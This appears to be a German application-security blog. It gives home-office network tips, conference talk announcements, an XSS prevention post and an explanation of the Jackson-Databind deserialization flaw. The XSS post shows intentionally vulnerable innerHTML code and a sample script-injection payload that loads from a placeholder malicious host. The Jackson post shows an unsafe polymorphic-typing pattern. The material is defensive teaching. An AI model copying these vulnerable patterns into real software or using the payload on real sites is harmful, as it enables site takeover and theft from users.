HomeOffice, aber sicher!

Sicherheit im Heimnetz

Die Arbeit im HomeOffice läuft normalerweise zunächst mal über das heimische Netzwerk ab, das nicht so gut überwacht und abgesichert ist wie das Netzwerk in der Firma. Deshalb ist es wichtig, dass man möglichst immer das Firmen-VPN verwendet, um die geschäftliche Kommunikation gut zu verschlüsseln. So können andere Geräte, die auch am heimischen Netzwerk hängen, die Kommunikation nicht im Klartext mitverfolgen. Falls sich dort ein Spion befindet, dann könnte das der Fall sein. Und Spione gibt es immer wieder, beispielweise in Form von allzu neugierigen Apps oder Assistenten.

Verschlüsselte Kommunikation ist zwar eh mehr und mehr der Standard, aber es gibt auch immer wieder Ausnahmen. Beispielsweise verwenden immer noch nicht alle Webseiten das verschlüsselte HTTPS, sondern noch HTTP, was eine unverschlüsselte Kommunikation darstellt. Angreifer könnten hier also mitlesen, wenn sie sich im Heimnetz befinden.

Außerdem gibt es weitere unsichere Protokolle, wie FTP für Dateiübertragung, SMB für freigegebene Order und Drucker. Auch die E-Mail Protokolle POP3, SMTP und IMAP, die in den 1980ern spezifiziert wurden, sind per se nicht abgesichert. Insbesondere ist standardmäßig die Authentifizierung unverschlüsselt, so dass Benutzername und Passwort im Klartext zum Mailserver übertragen werden. Es sein denn, die Option TLS ist im Mailclient aktiviert, was oft nicht der Fall ist.

Tipps für sichere Mailserver:

  • Um Angreifern den Zugriff auf die Mailserver zu blockieren, sollten sorgsam konfigurierte Firewall-Regeln verwendet werden.
  • Für Zugriffe aus der Ferne sollte eine Multifaktor-Authentifizierung aktiviert werden.
  • E-Mail-Dienste müssen so eingerichtet werden, dass nicht-authentifizierte Zugriffe aus der Ferne nicht möglich sind. 
  • Um zu verhindern, dass die Multifaktor-Authentifizierung umgangen werden kann, sollte IMAP dafür deaktiviert werden. IMAP unterstützt dies nicht.
  • Falls es Mitarbeiter geben sollte, die dadurch auf keine Mails mehr zugreifen können, weil sie Legacy-Mail-Dienste verwenden, können diese dann immer noch per Webclient und HTTPS auf ihre Mails zugreifen. Das wäre dann auch die richtige Gelegenheit, unsichere und veraltete Mailclients in den Ruhestand zu verabschieden.

Im Firmennetzwerk sind solche unsicheren Protokolle zumindest noch durch Firewalls und Gateways gesichert, aber im Heimnetzwerk ist das oft nicht der Fall, es sei denn, das VPN ist aktiv, so dass der komplette Traffic übers Firmennetzwerk geht.

Der aktuelle Boom der HomeOffice-Arbeit bringt aber die Kapazität vieler Firmen-VPNs an ihre Grenzen, so dass bei der IT hier dringend aufgerüstet werden muss, um diese große Last zu bewältigen. Deshalb aktivieren viele Mitarbeiter im HomeOffice das VPN erst gar nicht, so dass damit eine grosse neue Angriffsfläche entsteht. Ob diese vermehrt ausgenützt wird, werden wir wohl erst in ein paar Wochen oder Monaten erfahren, wenn es zu spät ist.

Um die genannten Spione zu bändigen, hier weitere Tipps für mehr Sicherheit und weniger Angriffsfläche im Heimnetz:

  • Alle Geräte im Heimnetz sollten mit den neuesten Sicherheits- und Firmware-Updates versorgt sein. Dies ist ein Problem für viele Geräte im LAN wie Spielekonsolen, Smartphones, TV, etc. Wenn diese veraltete Firmware haben, sind diese sehr oft angreifbar. Insbesondere der Router – das Herz Ihres LANs – muss immer aktuell sein.
  • „Tote Geräte“, die nicht mehr versorgt werden mit Updates, sollten unbedingt aus dem Heimnetz verbannt werden.
  • Standardbenutzername und das Standardkennwort müssen geändert werden. Dies ist das erste, was ein Angreifer ausprobiert, wenn er versucht anzugreifen. Die Web-Interfaces dieser Geräte sind häufig anfällig für schwerwiegende Sicherheitslücken, selbst wenn es sich um ein „dummes“ Produkt wie einen Satellitenempfänger oder eine Netzwerkfestplatte handelt. Von dort aus wird ein Angreifer den Rest des LANs inspizieren.
  • Die Verschlüsselung sollte auch auf dem privaten Netzwerkspeichergerät (NAS) aktiviert sein. Falls dabei kein Zugriff auf ein Verschlüsselungstool besteht, können die Dateien auch einfach in eine kennwortgeschützte ZIP-Datei eingefügt werden. Das ist immer noch besser, als überhaupt nichts zu tun.
  • Die meisten Heimrouter und Switches haben die Möglichkeit, mehrere verschiedene DMZ / VLAN einzurichten. Dies bedeutet, dass ein eigenes „privates“ Netzwerk für die Netzwerkgeräte einrichten werden kann, wodurch der Netzwerkzugriff auf und von diesem Gerät eingeschränkt wird.

Es hilft an dieser Stelle, den gesunden Menschenverstand zu bemühen und zu verstehen, dass ALLES gehackt werden kann, auch Ihre Hardwaregeräte. Wirklich paranoide Menschen können den ausgehenden Netzwerkverkehr ihrer Geräte jederzeit überwachen, um festzustellen, ob etwas Seltsames vor sich geht. Dies erfordert jedoch einige technische Kenntnisse. 

Ein weiterer guter Tipp ist, Netzwerkgeräte daran zu hindern, auf Websites zuzugreifen, auf die sie nicht zugreifen sollen, und ihnen nur das Abrufen von Updates und sonst nichts zu erlauben. Dazu kann man im Router meist die integrierten Firewallregeln anpassen.

Hacking for Security

Auf den Code Days 2020 in München werde ich einen weiteren Vortrag zur Application Security halten, bei dem ich Entwickler und IT-Verantwortliche von der absoluten Notwendigkeit überzeugen werde, dass Sicherheit keine Option ist, sondern Grundvoraussetzung für erfolgreiches Business.

Aber es bleibt nicht bei grauer Theorie – dieses mal werden wir gemeinsam auftreten. Meine Kollegen und ich von EXXETA haben einen Live-Hack vorbereitet, der eine aktuell sehr brisante Sicherheitsschwachstelle zeigt – und wie Hacker diese ausnutzen. Natürlich wird auch gezeigt, wie man diese vermeiden kann.

Die Code Days ist eine freie Entwickler-Konferenz, also ohne Eintrittskosten. Schaut Euch das interessante Programm an und besucht uns am Donnerstag um 13:15 bei unserem Talk.

XSS Prävention bei modernen JavaScript Frameworks

Die meisten modernen JS-Frameworks wie ReactVue, oder Angular bringen von Haus aus bereits viele Sicherheitsfeatures mit, die es vorher nicht in der Form gab. Trotzdem kann man auch hier noch Fehler machen, die sich direkt auf die Sicherheit auswirken. Die Gefahr ist also nach wie vor, dass man aus Unwissenheit Schwachstellen verursacht. Deshalb ist es wichtig, diese Schwachstellen zu kennen, um sie dann auch vermeiden zu können.

Als Beispiel zeige ich hier einen klassischen Fall von Cross Site Scripting (XSS), der auch heute noch sehr real ist. Wir konstruieren uns dazu das folgende Szenario.

Nehmen wir an, wir wollten einen Benutzer mit seinem Namen ansprechen, indem wir ihn über eine Marketing-E-Mail verknüpfen. Das Hinzufügen von ?name=Julian zum Query-String und das anschließende Hinzufügen zum DOM wäre eine schnelle Möglichkeit, dies zu tun.

Zum Beispiel:

document.querySelector('.tagline').innerHTML = nameFromQueryString

Dadurch würde „Julian“ direkt namentlich angesprochen werden auf der Seite. Die Filterung auf den Request-Parameter wird vom JS-Framework hier nicht gemacht werden.

Die Verwendung von Code wie dem oben genannten bedeutet, dass jeder Angreifer Code in Deine Webanwendung einfügen und übernehmen kann. Allein durch Ändern des Namens in <script src="my.malicious.site"> kann man eine URL kreieren, die eine gefälschte Zahlungsseite so aussehen lässt, als würde sie von Deiner SSL-verschlüsselten Website geliefert.

Aus diesem Grund ist es ratsam, Daten von Requestparametern immer vorher zu prüfen und zu filtern, und sie niemals einfach so zu übernehmen. Nur so kann man XSS wirksam vermeiden.

Artikel in der Computerwoche

In der Computerwoche ist auf computerwoche.de am 26. August ein Fachartikel von mir erschienen. Unter dem Titel „Logging und Monitoring – Anwendungssicherheit effektiv überwachen“ beschreibe ich, wie Cyberangriffe auf Anwendungen durch Logging und Monitoring frühzeitig erkannt und verhindert werden, wo die Herausforderungen dabei liegen und was bei der Einführung eines Monitoring-Systems zu beachten ist.

Neues Video – Unzureichendes Logging und Monitoring

Den meisten Webanwendungen fehlt ein effektives und nachhaltiges Monitoring, über das man Angriffe erkennen kann. Und wenn man Angriffe nicht erkennt, dann kann man auch nicht darauf reagieren.
In meinem 10. Video der Secure Coding Reihe sprechen wir über dieses Thema, und was das in der Folge für Probleme mit sich bringt.

Neues Video: A9:2017 Nutzung von Komponenten mit bekannten Schwachstellen

Eine sehr häufig auftretende Sicherheitslücke in Webanwendungen entsteht durch den Einsatz unsicherer Libraries. Wenn auch Ihr in Euren Webanwendungen fremde Libraries einsetzt, dann solltet ihr jetzt ganz genau zuhören!

Platz 9 der OWASP Top 10 nennt sich „Nutzung von Komponenten mit bekannten Schwachstellen“. Hier geht es um den Einsatz von 3rd-Party-Libraries, die bekannte Schwachstellen enthalten, und dadurch die Sicherheit unserer Anwendung gefährden. Ich werden Euch zeigen, die man das entdecken und vermeiden kann.

A9:2017 Nutzung von Komponenten mit bekannten Schwachstellen

Talk „Hack me if you can“ auf der JAX2019

Auf der diesjährigen JAX in Mainz (6.-10. Mai 2019), der Konferenz für Java, Architektur- und Software-Innovation, habe ich am 8. Mai den Talk „Hack me if you can – Sicherheit in Webanwendungen“ gehalten. Inhaltlich habe ich dabei herausgearbeitet, wie wichtig die Berücksichtigung von Sicherheitsschwachstellen ist, bzw. dass man diese konsequent und strategisch vermeidet. Die richtige Vorgehensweise ist dabei, zunächst die Angriffe zu verstehen, damit man eine wirksame Verteidigung aufbauen kann.

Es gibt viel zu viele Webanwendungen, die zu einfach zu hacken sind. Der Grund ist fast immer, dass sich die Entwickler während der Implementierung keine Gedanken über die Sicherheit machen – weil sie die Angriffe nicht kennen. Deshalb ist es eine Grundvoraussetzung für sichere Software, dass man die Grundlagen sicherer Software kennt.

Den Vortrag habe ich aus diesem Grund in 4 Teile aufgeteilt:

  1. Einleitung: Warum das Ganze?
  2. Wie man hackt
  3. Wie man sich schützt
  4. Wie man sich wehrt

In der Einleitung geht es darum, zu zeigen, dass man sich aktiv um die Sicherheit kümmern muss. Man muss die Angriffe verstehen, um wirksame Verteidigung aufbauen zu können. Ich erläutere, dass viele Basics nicht berücksichtigt werden können, wenn das Know-How bei der Entwicklung nicht vollständig vorhanden ist.

Im 2. Teil „Wie man hackt“ zeige ich die Vorgehensweise von Hackern, so wie man es auch in Hacker-Kursen lernt. Der Grund dafür ist, damit ein Verständnis aufgebaut wird, wie man eine Anwendung angreift, bzw. von der anderen Perspektive aus gesehen, wie man angegriffen wird. Dadurch kann dann im 3. Teil besser verstanden werden, welche Maßnahmen man treffen muss, damit diese offenen Flanken nicht mehr bestehen.

Der 4. Teil beschäftigt sich dann mit der angemessenen Reaktion auf Angriffe. Denn niemand muss für eine Anwendung hinnehmen, dass sie durch Angriffe lahmgelegt wird. Es gibt hier Verteidigungsmaßnahmen, die das unterbinden können. Dabei stelle ich Tools vor, die eine Schaltzentrale für Sicherheitsmonitoring bieten, damit man Angriffe auf seine Anwendungen in Echtzeit verfolgen kann, und den Abwehrmaßnahmen live bei Ihrer Arbeit zuschauen kann.

Vortrag auf der JAX 2019

Am 8. Mai 2019 halte ich auf der JAX 2019 einen Vortrag über Sicherheit in Webanwendungen. Die JAX ist eine Konferenz für Java-, Architektur- und Software-Innovationen.

Der Titel des Vortrags lautet: Hack me if you can – Sicherheit in Webanwendungen. Wie auch schon letztes Jahr in kleiner Runde im Rahmen eines Meetups, werde ich bei diesem Thema über die Wichtigkeit und Notwendigkeit referieren, warum es so essenziell wichtig ist, sich um die Sicherheit in der Software zu kümmern.

Ich werde dabei zeigen, wie einfach es inzwischen die Angreifer haben, insbesondere über arglos entwickelte Anwendungen, bei denen keiner auf die Sicherheit geachtet hat. Dabei ist es oft so einfach darauf zu achten. Man muss eben nur die Basics kennen, um einen wirksamen Grundschutz zu bekommen.

Promovideo für meinen Vortrag auf der JAX in Mainz

Hier die genauen Angaben zum Vortrag: Donnerstag, 8. Mai um 15:15 Uhr in der Rheingoldhalle, Raum Gutenberg 2+3. Den Rest des Tages könnt ihr mich am Stand von EXXETA antreffen, ich würde mich freuen Euch dort zu treffen!

Jackson-Databind und das Problem mit CVE-2017-7525

Wird Jackson-Databind als 3rd-Party-Lib in einem Projekt eingebunden, oder es ist über eine transitive Abhängigkeit mit im Projekt, dann melden Analysetools umgehend ein Finding. Aber in welchem Fall ist Jackson-Databind tatsächlich gefährlich?

Hintergrund

Jackson-Databind wird verwendet, wenn Json Strings deserialisiert werden. Die Deserialisierung ist etwas komplizierter als die Serialisierung, was daran liegt, dass beim Serialisieren die Klassen noch bekannt sind. Werden abstrakte Klassen oder Interfaces verwendet, ist das beim Serialisieren egal – der Json String ist immer der gleiche. Anders herum muss beim Deserialisieren, wenn der Json String wieder in reale Objekte gemappt wird, eine Entscheidung für konktete Klassen gefällt werden, die auch instantiiert werden können.

Damit Jackson bei der Deserialisierung konkrete Klassen ermitteln kann, wird mit Annotations gearbeitet, über die die Klassen angegeben werden können:

{ "phone" : {
"@class" : "package.InternationalNumber",
"areaCode" : 555,
...
}
}

Auf Seite der Java-Klasse wird als Gegenstück z.B. mit @JsonTypeInfo gearbeitet, damit Jackson die richtige Klasse findet. Es gibt hier eine Vielzahl an Annotations, die bei komplexeren Strukturen helfen sollen.

Die Gefahr

Die Sicherheitslücke besteht dann, wenn der Json String so manipuliert werden kann, dass bei der Deserialisierung eine Klasse instanziiert wird, die Schaden anrichten kann (Denial of Service, Sensitive Data Exposure, Data Manipulation, …). Solche Klassen werden in diesem Kontext als „Gadgets“ bezeichnet.

Eine Gadget-Klasse muss allerdings im Klassenpfad der Anwendung liegen, weshalb zunächst unlogisch erscheint, dass damit Schaden angerichtet werden kann. Es gibt aber verschiedene polymorphe Klassen, über die generischer Code eingeschleust werden kann, der dann zur Ausführung kommt. Jackson hat deshalb bereits eine Blacklist an bekannten Gadget-Klassen, die bei der Deserialisierung nicht ausgeführt werden. Allerdings kommen immer neue kreative Varianten dazu, so dass naturgemäß eine Blacklist kein vollkommener Schutz sein kann.

Voraussetzungen für erfolgreichen Angriff

  1. Die Anwendung akzeptiert Json von Clients, das manipuliert werden kann. 
    • Bei der Kommunikation zwischen 2 Anwendungen, die sich in einer Trustzone befinden, sollte diese Gefahr nicht gross sein, da darauf vertraut wird, dass keine bösartigen und manipulierten Json Strings verwendet werden.
    • Wurde die Trustzone allerdings kompomittiert, dann fällt dieses Argument, so dass man auch bei interner Kommunikation weitere Maßnahmen vorsehen sollte.
  2. Die Anwendung beinhaltet im Classpath mindestens 1 Gadget-Klasse, mit der ein Angriff ausgeführt werden kann.
    • Da in einer Anwendung meist sehr viele Klassen über transitive Abhängigkeiten enthalten sind, sind auch viele bekannte Gadget-Klassen verfügbar. Selbst im JDK existieren Klassen, die als Gadgets missbraucht werden können.
    • Aus diesem Grund trifft auch diese Voraussetzung streng genommen immer zu.
  3. Die Anwendung hat aktives polymorphes Typehandling für Felder mit dem Type Object aktiviert (oder andere allgemeine Typen wir Serializable, Comparable, …)
    • Dies wird im Code über die Methode org.codehaus.jackson.map.ObjectMapper.enableDefaultTyping() aktiviert
  4. Die Anwendung verwendet Jackson-Databind in einer Version, die (noch) keine fragwürdige Gadget-Klassen blockiert via Blacklisting.
    • Ist die Jackson-Version aktuell, dann ist es sehr schwer, aber nicht ausgeschlossen, Gadget-Klassen zu finden, die einen Angriff zulassen.

Da (1) und (2) nie komplett ausgeschlossen werden können, sollten wir uns auf (3) und (4) fokussieren.

Folgendes ist noch festzustellen für die beiden Ausprägungen:

  1. Polymorphie: Anhand des Parameters valueType wird über die Annotation JsonTypeInfo definiert, welche „Zielklasse“ bei der Deserialisierung verwendet werden soll. Das ist entweder diese übergebene Klasse valueType selbst oder wird wiederum durch Annotationen dieser Klasse bestimmt. Durch die Annotation JsonTypeInfo kann definiert werden, dass die tätsächlich instanzierte Klasse, durch einen Parameter innerhalb des JSON-Textes vorgegeben wird, was bedeutet, dass der Sender des JSON-Textes die Entscheidung trifft. Die Entscheidung ist nicht völlig frei: die instanzierte Klasse, muss eine Erweiterung der Klasse valueType sein. Jackson bietet dazu mehrere Möglichkeiten. Die Kritische ist die, bei der Klassenname, bzw. ein Teil des Klassennamens, als JSON-Inhalt definiert/ausgewertet wird.
  2. DefaultTyping: unbestimmte/generische Attribute – beispielsweise von Type Tattr Object – können bei eingeschaltetem DefaultTyping mit Objekten befüllt werden, deren konkreter Typ Tconc durch den JSON-Inhalt bestimmt wird. Im Falle des Attributstyps Tattr Object unterliegt Tconc lediglich der Einschränkung, dass Tconc im Klassenpfad zu finden sein muss.


Ein Beispiel für eine gefährliche Codestelle ist folgende:

public class Person {
@JsonTypeInfo(use = Id.CLASS)
public Object phone;
}

Hier wird über @JsonTypeInfo der Klassenname angegeben, so dass dieser in der Json Struktur über die @class Annotation angegeben werden kann. Ist DefaultTyping aktiviert, dann kann an Stelle des Typs Object eine Gadget-Klasse treten, die der Angreifer angibt.

Prävention

  1. Immer die neueste Jackson-Databind Version verwenden
    • denn diese enthält die vollständigste Liste der gefährlichen Gadget-Klassen in der Blacklist
    • das ist kein perfekter Schutz, aber das mindeste was man tun sollte
  2. Default Typing vermeiden
    • statt dessen explizit die Klassen angeben, die bei der Deserialisierung verwendet werden sollen
  3. Allgemeine Klassen wie Object, Serializable, … vermeiden in den Objekten, die übertragen werden
    • dadurch wird vermieden, dass beliebige Klassen für den Angriff verwendet werden können
  4. Möglichst „type name“ verwenden und nicht classname als Type-Id
    • @JsonTypeInfo(use = Id.NAME)  anstatt  @JsonTypeInfo(use = Id.CLASS)

Referenzen